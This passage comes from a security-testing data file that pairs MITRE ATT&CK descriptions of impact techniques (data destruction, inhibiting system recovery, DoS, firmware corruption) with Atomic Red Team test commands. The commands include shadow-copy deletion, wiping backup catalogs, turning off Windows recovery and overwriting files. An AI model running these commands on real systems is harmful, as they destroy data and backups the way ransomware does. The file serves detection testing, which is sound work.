https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html - source_name: Trend Micro War of Crypto Miners description: 'Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency Miners: A Battle for Resources. Retrieved April 6, 2021.' url: https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html - source_name: GoBotKR description: Zuzana Hromcová. (2019, July 8). Malicious campaign targets South Korean users with backdoor‑laced torrents. Retrieved March 31, 2022. url: https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1496 atomic_tests: - name: FreeBSD/macOS/Linux - Simulate CPU Load with Yes auto_generated_guid: 904a5a0e-fb02-490d-9f8d-0e256eb37549 description: | This test simulates a high CPU load as you might observe during cryptojacking attacks. End the test by using CTRL/CMD+C to break. supported_platforms: - linux - macos executor: command: 'yes > /dev/null ' name: sh T1565.002: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6 created: '2020-03-02T14:27:00.693Z' x_mitre_version: '1.1' external_references: - source_name: mitre-attack external_id: T1565.002 url: https://attack.mitre.org/techniques/T1565/002 - source_name: DOJ Lazarus Sony 2018 url: https://www.justice.gov/opa/press-release/file/1092091/download description: Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019. - source_name: FireEye APT38 Oct 2018 url: https://content.fireeye.com/apt/rpt-apt38 description: 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.' x_mitre_deprecated: false revoked: false description: |- Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Transmitted Data Manipulation x_mitre_detection: 'Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data. ' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Process: OS API Execution' - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Traffic Flow' x_mitre_impact_type: - Integrity x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1485: technique: modified: '2023-10-03T17:30:32.192Z' name: Data Destruction description: |- Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure. Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017) To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018). In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_contributors: - Brent Murphy, Elastic - David French, Elastic - Syed Ummar Farooqh, McAfee - Prasad Somasamudram, McAfee - Sekhar Sarukkai, McAfee - Varonis Threat Labs - Joey Lei x_mitre_deprecated: false x_mitre_detection: |- Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\Windows\System32\. In cloud environments, the occurrence of anomalous high-volume deletion events, such as the DeleteDBCluster and DeleteGlobalCluster events in AWS, or a high quantity of data deletion events, such as DeleteBucket, within a short period of time may indicate suspicious activity. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - IaaS - Linux - macOS - Containers x_mitre_version: '1.2' x_mitre_data_sources: - 'Snapshot: Snapshot Deletion' - 'Process: Process Creation' - 'File: File Deletion' - 'Image: Image Deletion' - 'Instance: Instance Deletion' - 'File: File Modification' - 'Volume: Volume Deletion' - 'Cloud Storage: Cloud Storage Deletion' - 'Command: Command Execution' x_mitre_impact_type: - Availability type: attack-pattern id: attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c created: '2019-03-14T18:47:17.701Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1485 external_id: T1485 - source_name: DOJ - Cisco Insider description: DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco’s Network. Retrieved December 15, 2020. url: https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network - source_name: Unit 42 Shamoon3 2018 description: Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019. url: https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/ - source_name: Palo Alto Shamoon Nov 2016 description: 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.' url: http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/ - source_name: FireEye Shamoon Nov 2016 description: FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017. url: https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html - source_name: Kaspersky StoneDrill 2017 description: 'Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.' url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf - source_name: Talos Olympic Destroyer 2018 description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019. url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html - source_name: Data Destruction - Threat Post description: Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020. url: https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/ - source_name: Symantec Shamoon 2012 description: Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019. url: https://www.symantec.com/connect/blogs/shamoon-attacks object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1485 atomic_tests: - name: Windows - Overwrite file with SysInternals SDelete auto_generated_guid: 476419b5-aebf-4366-a131-ae3e8dae5fc2 description: | Overwrites and deletes a file using SysInternals SDelete. Upon successful execution, "Files deleted: 1" will be displayed in the powershell session along with other information about the file that was deleted. supported_platforms: - windows input_arguments: sdelete_exe: description: Path of sdelete executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\Sdelete\sdelete.exe file_to_delete: description: Path of file to delete type: path default: PathToAtomicsFolder\..\ExternalPayloads\T1485.txt dependency_executor_name: powershell dependencies: - description: 'Secure delete tool from SysInternals must exist on disk at specified location (#{sdelete_exe}) ' prereq_command: 'if (Test-Path "#{sdelete_exe}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://download.sysinternals.com/files/SDelete.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\SDelete.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\SDelete.zip" "PathToAtomicsFolder\..\ExternalPayloads\Sdelete" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\SDelete.zip" -Force executor: command: | if (-not (Test-Path "#{file_to_delete}")) { New-Item "#{file_to_delete}" -Force } & "#{sdelete_exe}" -accepteula "#{file_to_delete}" name: powershell - name: FreeBSD/macOS/Linux - Overwrite file with DD auto_generated_guid: 38deee99-fd65-4031-bec8-bfa4f9f26146 description: | Overwrites and deletes a file using DD. To stop the test, break the command with CTRL/CMD+C. supported_platforms: - linux - macos input_arguments: overwrite_source: description: Path of data source to overwrite with type: path default: "/dev/zero" file_to_overwrite: description: Path of file to overwrite and remove type: path default: "/var/log/syslog" executor: command: 'dd of=#{file_to_overwrite} if=#{overwrite_source} count=$(ls -l #{file_to_overwrite} | awk ''{print $5}'') iflag=count_bytes ' name: sh - name: Overwrite deleted data on C drive auto_generated_guid: 321fd25e-0007-417f-adec-33232252be19 description: "RansomEXX malware removes all deleted files using windows built-in cipher.exe to prevent forensic recover.\nThis process is very slow and test execution may timeout. \nhttps://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware\nhttps://support.microsoft.com/en-us/topic/cipher-exe-security-tool-for-the-encrypting-file-system-56c85edd-85cf-ac07-f2f7-ca2d35dab7e4\n" supported_platforms: - windows executor: command: 'cipher.exe /w:C: ' name: command_prompt - name: GCP - Delete Bucket auto_generated_guid: 4ac71389-40f4-448a-b73f-754346b3f928 description: | This Atomic will create a Google Storage Bucket then delete it. The idea for this Atomic came from a Rule published by the Elastic team. Identifies when a Google Cloud Platform (GCP) storage bucket is deleted. An adversary may delete a storage bucket in order to disrupt their target's business operations. This atomic will create a bucket then delete the bucket. Reference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/impact_gcp_storage_bucket_deleted.toml supported_platforms: - iaas:gcp input_arguments: project_id: description: ID of the GCP Project you to execute the command against. type: string default: atomic-test-1 bucket_name: description: The name of the bucket to delete. type: string default: atomic-red-team-bucket executor: name: sh elevation_required: false command: | gcloud config set project #{project_id} gcloud storage buckets delete gs://#{bucket_name} cleanup_command: | cd "$PathToAtomicsFolder/T1485/src/T1485-4/" terraform state rm google_storage_bucket.bucket terraform destroy -auto-approve dependency_executor_name: sh dependencies: - description: 'Requires gcloud ' prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install" ' - description: "Check if user is logged in \n" prereq_command: 'gcloud config get-value account ' get_prereq_command: 'gcloud auth login --no-launch-browser ' - description: 'Check if terraform is installed. ' prereq_command: 'terraform version ' get_prereq_command: 'echo Please install the terraform. ' - description: 'Create dependency resources using terraform ' prereq_command: 'stat "$PathToAtomicsFolder/T1485/src/T1485-4/terraform.tfstate" ' get_prereq_command: |- cd "$PathToAtomicsFolder/T1485/src/T1485-4/" terraform init terraform apply -auto-approve T1498: technique: x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Linux - macOS - Google Workspace - Containers x_mitre_domains: - enterprise-attack x_mitre_contributors: - Yossi Weizman, Azure Defender Research Team - Vishwas Manral, McAfee object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab type: attack-pattern created: '2019-04-17T20:23:15.105Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1498 url: https://attack.mitre.org/techniques/T1498 - source_name: FireEye OpPoisonedHandover February 2016 url: https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html description: 'Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019.' - source_name: FSISAC FraudNetDoS September 2012 url: https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf description: FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019. - source_name: Symantec DDoS October 2014 url: https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf description: Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019. - source_name: Cisco DoSdetectNetflow url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. modified: '2022-05-11T14:00:00.188Z' name: Network Denial of Service description: |- Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014) A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets. Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices. For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_detection: 'Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.' x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Sensor Health: Host Status' x_mitre_impact_type: - Availability x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1495: technique: x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89 created: '2019-04-12T18:28:15.451Z' x_mitre_version: '1.2' external_references: - source_name: mitre-attack external_id: T1495 url: https://attack.mitre.org/techniques/T1495 - source_name: cisa_malware_orgs_ukraine url: https://www.cisa.gov/uscert/ncas/alerts/aa22-057a description: 'CISA. (2022, April 28). Alert (AA22-057A) Update: Destructive Malware Targeting Organizations in Ukraine. Retrieved July 29, 2022.' - source_name: dhs_threat_to_net_devices url: https://cyber.dhs.gov/assets/report/ar-16-20173.pdf description: U.S. Department of Homeland Security. (2016, August 30). The Increasing Threat to Network Infrastructure Devices and Recommended Mitigations. Retrieved July 29, 2022. - source_name: MITRE Trustworthy Firmware Measurement url: http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research description: Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016. - source_name: Symantec Chernobyl W95.CIH url: https://web.archive.org/web/20190508170055/https://www.symantec.com/security-center/writeup/2000-122010-2655-99 description: Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019. x_mitre_deprecated: false revoked: false description: "Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices may include the motherboard, hard drive, or video cards.\n\nIn general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. For example, corruption of firmware responsible for loading the operating system for network devices may render the network devices inoperable.(Citation: dhs_threat_to_net_devices)(Citation: cisa_malware_orgs_ukraine) Depending on the device, this attack may also result in [Data Destruction](https://attack.mitre.org/techniques/T1485). " modified: '2022-08-31T17:30:05.440Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Firmware Corruption x_mitre_detection: 'System firmware manipulation may be detected.(Citation: MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS and compare against known patching behavior.' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_is_subtechnique: false x_mitre_data_sources: - 'Firmware: Firmware Modification' x_mitre_impact_type: - Availability x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1490: technique: modified: '2024-04-12T02:30:08.379Z' name: Inhibit System Recovery description: |- Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options. Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom) A number of native Windows utilities have been used by adversaries to disable or delete system recovery features: * vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet * [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete * wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet * bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no * REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system * diskshadow.exe can be used to delete all volume shadow copies on a system - diskshadow delete shadows all (Citation: Diskshadow) (Citation: Crytox Ransomware) On network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations. Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_contributors: - Yonatan Gotlib, Deep Instinct - Austin Clark, @c2defense - Pallavi Sivakumaran, WithSecure - Joey Lei - Harjot Shah Singh x_mitre_deprecated: false x_mitre_detection: |- Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, bcdedit, REAgentC, and diskshadow. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity. Monitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\Software\Policies\Microsoft\PreviousVersions\DisableLocalPage). For network infrastructure devices, collect AAA logging to monitor for `erase`, `format`, and `reload` commands being run in succession. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - macOS - Linux - Network - IaaS - Containers x_mitre_version: '1.4' x_mitre_data_sources: - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Modification' - 'Cloud Storage: Cloud Storage Deletion' - 'Command: Command Execution' - 'Service: Service Metadata' - 'Snapshot: Snapshot Deletion' - 'File: File Deletion' x_mitre_impact_type: - Availability type: attack-pattern id: attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a created: '2019-04-02T13:54:43.136Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1490 external_id: T1490 - source_name: Dark Reading Code Spaces Cyber Attack description: " Brian Prince. (2014, June 20). Code Hosting Service Shuts Down After Cyber Attack. Retrieved March 21, 2023." url: https://www.darkreading.com/attacks-breaches/code-hosting-service-shuts-down-after-cyber-attack - source_name: FireEye WannaCry 2017 description: Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019. url: https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html - source_name: Talos Olympic Destroyer 2018 description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019. url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html - source_name: Diskshadow description: Microsoft Windows Server. (2023, February 3). Diskshadow. Retrieved November 21, 2023. url: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow - source_name: Crytox Ransomware description: Romain Dumont . (2022, September 21). Technical Analysis of Crytox Ransomware. Retrieved November 22, 2023. url: https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware - source_name: Rhino Security Labs AWS S3 Ransomware description: 'Spencer Gietzen. (n.d.). AWS Simple Storage Service S3 Ransomware Part 2: Prevention and Defense. Retrieved March 21, 2023.' url: https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/ - source_name: ZDNet Ransomware Backups 2020 description: Steve Ranger. (2020, February 27). Ransomware victims thought their backups were safe. They were wrong. Retrieved March 21, 2023. url: https://www.zdnet.com/article/ransomware-victims-thought-their-backups-were-safe-they-were-wrong/ - source_name: disable_notif_synology_ransom description: TheDFIRReport. (2022, March 1). Disabling notifications on Synology servers before ransom. Retrieved October 19, 2022. url: https://twitter.com/TheDFIRReport/status/1498657590259109894 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1490 atomic_tests: - name: Windows - Delete Volume Shadow Copies auto_generated_guid: 43819286-91a9-4369-90ed-d31fb4da2c01 description: | Deletes Windows Volume Shadow Copies. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution, if no shadow volumes exist the message "No items found that satisfy the query." will be displayed. If shadow volumes are present, it will delete them without printing output to the screen. This is because the /quiet parameter was passed which also suppresses the y/n confirmation prompt. Shadow copies can only be created on Windows server or Windows 8. https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc788055(v=ws.11) supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Create volume shadow copy of C:\ . This prereq command only works on Windows Server or Windows 8. ' prereq_command: 'if(!(vssadmin.exe list shadows | findstr "No items found that satisfy the query.")) { exit 0 } else { exit 1 } ' get_prereq_command: 'vssadmin.exe create shadow /for=c: ' executor: command: 'vssadmin.exe delete shadows /all /quiet ' name: command_prompt elevation_required: true - name: Windows - Delete Volume Shadow Copies via WMI auto_generated_guid: 6a3ff8dd-f49c-4272-a658-11c2fe58bd88 description: 'Deletes Windows Volume Shadow Copies via WMI. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. ' supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Create volume shadow copy of C:\ . ' prereq_command: 'if(!(vssadmin.exe list shadows | findstr "No items found that satisfy the query.")) { exit 0 } else { exit 1 } ' get_prereq_command: 'wmic shadowcopy call create Volume=''C:\'' ' executor: command: 'wmic.exe shadowcopy delete ' name: command_prompt elevation_required: true - name: Windows - wbadmin Delete Windows Backup Catalog auto_generated_guid: 263ba6cb-ea2b-41c9-9d4e-b652dadd002c description: | Deletes Windows Backup Catalog. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution, "The backup catalog has been successfully deleted." will be displayed in the PowerShell session. supported_platforms: - windows executor: command: 'wbadmin delete catalog -quiet ' name: command_prompt elevation_required: true - name: Windows - Disable Windows Recovery Console Repair auto_generated_guid: cf21060a-80b3-4238-a595-22525de4ab81 description: | Disables repair by the Windows Recovery Console on boot. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution, "The operation completed successfully." will be displayed in the powershell session. supported_platforms: - windows executor: command: | bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures bcdedit.exe /set {default} recoveryenabled no cleanup_command: | bcdedit.exe /set {default} bootstatuspolicy DisplayAllFailures >nul 2>&1 bcdedit.exe /set {default} recoveryenabled yes >nul 2>&1 name: command_prompt elevation_required: true - name: Windows - Delete Volume Shadow Copies via WMI with PowerShell auto_generated_guid: 39a295ca-7059-4a88-86f6-09556c1211e7 description: | Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil. Executes Get-WMIObject. Shadow copies can only be created on Windows server or Windows 8, so upon execution there may be no output displayed. supported_platforms: - windows executor: command: 'Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();} ' name: powershell elevation_required: true - name: Windows - Delete Backup Files auto_generated_guid: 6b1dbaf6-cc8a-4ea6-891f-6058569653bf description: | Deletes backup files in a manner similar to Ryuk ransomware. Upon exection, many "access is denied" messages will appear as the commands try to delete files from around the system. supported_platforms: - windows executor: command: 'del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk ' name: command_prompt elevation_required: true - name: Windows - wbadmin Delete systemstatebackup auto_generated_guid: 584331dd-75bc-4c02-9e0b-17f5fd81c748 description: 'Deletes the Windows systemstatebackup using wbadmin.exe. This technique is used by numerous ransomware families. This may only be successful on server platforms that have Windows Backup enabled. ' supported_platforms: - windows executor: command: 'wbadmin delete systemstatebackup -keepVersions:0 ' name: command_prompt elevation_required: true - name: Windows - Disable the SR scheduled task auto_generated_guid: 1c68c68d-83a4-4981-974e-8993055fa034 description: 'Use schtasks.exe to disable the System Restore (SR) scheduled task ' supported_platforms: - windows executor: command: 'schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable ' cleanup_command: 'schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /enable >nul 2>&1 ' name: command_prompt elevation_required: true - name: Disable System Restore Through Registry auto_generated_guid: 66e647d1-8741-4e43-b7c1-334760c2047f description: "Modify the registry of the currently logged in user using reg.exe via cmd console to disable system restore on the computer. \nSee how remcos RAT abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details\n" supported_platforms: - windows executor: command: | reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows 